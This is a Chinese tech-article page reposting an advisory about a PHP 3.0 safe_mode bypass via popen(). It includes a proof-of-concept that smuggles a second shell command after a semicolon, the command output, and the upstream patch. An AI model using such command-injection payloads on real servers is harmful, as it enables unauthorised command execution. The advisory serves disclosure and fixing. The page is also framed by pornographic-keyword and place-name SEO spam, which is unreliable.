国产成人精品亚洲777人妖,欧美日韩精品一区视频,最新亚洲国产,国产乱码精品一区二区亚洲

您的位置:首頁技術文章
文章詳情頁

PHP3 ’safe_mode’ 失效漏洞

瀏覽:5日期:2023-12-16 13:01:48
受影響的系統:;;PHP 3.00;;-------------------------------------------------------------------------------- 描述: ;;;;;;PHP Version 3.0是一個HTML嵌入式腳本語言。其大多數語法移植于C、Java和Perl并結合了 PHP的特色。這個語言可以讓web開發者快速創建動態網頁。 ;;;;;;;因其執行在web服務器上并允許用戶執行代碼,PHP內置了稱為'safe_mode'的安全特性, 用于控制在允許PHP操作的webroot環境中執行命令。 ;;;;;;;其實現機制是通過強制執行shell命令的系統調用將shell命令傳送到EscapeShellCmd() 函數,此函數用于確認在webroot目錄外部不能執行命令。 ;;;;;;;在某些版本的PHP中,使用popen()命令時EscapeShellCmd()卻失效了,造成惡意用戶可 以利用'popen'系統調用進行非法操作。 ;;-------------------------------------------------------------------------------- 測試程序: ;;警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負! ;;<?php $fp = popen("ls -l /opt/bin; /usr/bin/id", "r"); echo "$fp<br>n"while($line = fgets($fp, 1024)): printf("%s<br>n", $line); endwhile; pclose($fp); phpinfo(); ?> ;;;輸出結果如下: ;;;1 total 53;;-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls;;uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup);;and from the configuration values of phpinfo(): safe_mode 0 1;;-------------------------------------------------------------------------------- 建議:;;Index: functions/file.c =================================================================== RCS file: /repository/php3/functions/file.c,v retrieving revision 1.229 retrieving revision 1.230 diff -u -r1.229 -r1.230 --- functions/file.c 2000/01/01 04:31:15 1.229 +++ functions/file.c 2000/01/03 21:31:31 1.230 @@ -26,7 +26,7 @@ | Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> | +----------------------------------------------------------------------+ */ /* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */ +/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */ #include "php.h" #include <stdio.h> @@ -51,6 +51,7 @@ #include "safe_mode.h" #include "php3_list.h" #include "php3_string.h" +#include "exec.h" #include "file.h" #if HAVE_PWD_H #if MSVC5 @@ -575,7 +576,7 @@ pval *arg1, *arg2; FILE *fp; int id; - char *p; + char *p, *tmp = NULL; char *b, buf[1024]; TLS_VARS; ;;;@@ -600,7 +601,11 @@ } else { snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val); } ;;;- fp = popen(buf,p); ;;;+ + tmp = _php3_escapeshellcmd(buf); + fp = popen(tmp,p); + efree(tmp); /* temporary copy, no longer necessary */ + if (!fp) { php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno)); RETURN_FALSE;;;
標簽: PHP
主站蜘蛛池模板: 砚山县| 潮安县| 元江| 淳安县| 井研县| 洛南县| 宜兰县| 新安县| 正阳县| 恩平市| 新宁县| 寻乌县| 留坝县| 康乐县| 通化市| 黄龙县| 满城县| 盈江县| 固安县| 微博| 顺平县| 莆田市| 思南县| 龙川县| 小金县| 北碚区| 湘阴县| 翁牛特旗| 上杭县| 延庆县| 江津市| 肥东县| 称多县| 塔河县| 惠水县| 咸丰县| 大城县| 西平县| 威远县| 应城市| 金阳县|